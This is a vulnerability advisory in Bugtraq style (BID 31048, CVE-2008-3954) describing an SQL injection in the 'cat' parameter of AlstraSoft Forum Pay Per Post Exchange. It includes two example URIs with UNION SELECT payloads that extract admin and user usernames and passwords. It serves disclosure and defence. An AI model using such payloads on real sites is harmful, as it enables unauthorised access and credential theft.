Alstrasoft Forum Pay Per Post Exchange 'cat' Parameter SQL Injection Vulnerability

Bugtraq ID:	31048
Class:	Input Validation Error
CVE:	CVE-2008-3954
Remote:	Yes
Local:	No
Published:	Sep 07 2008 12:00AM
Updated:	May 07 2015 05:24PM
Credit:	r45c4l and P47r1ck
Vulnerable:	AlstraSoft Forum Pay Per Post Exchange 0
Not Vulnerable:

Alstrasoft Forum Pay Per Post Exchange 'cat' Parameter SQL Injection Vulnerability

Alstrasoft Forum Pay Per Post Exchange is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Alstrasoft Forum Pay Per Post Exchange 'cat' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin--
http://www.example.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+1,1--

Alstrasoft Forum Pay Per Post Exchange 'cat' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Alstrasoft Forum Pay Per Post Exchange 'cat' Parameter SQL Injection Vulnerability

References:

• Forum Pay Per Post Exchange Product Page (AlstraSoft)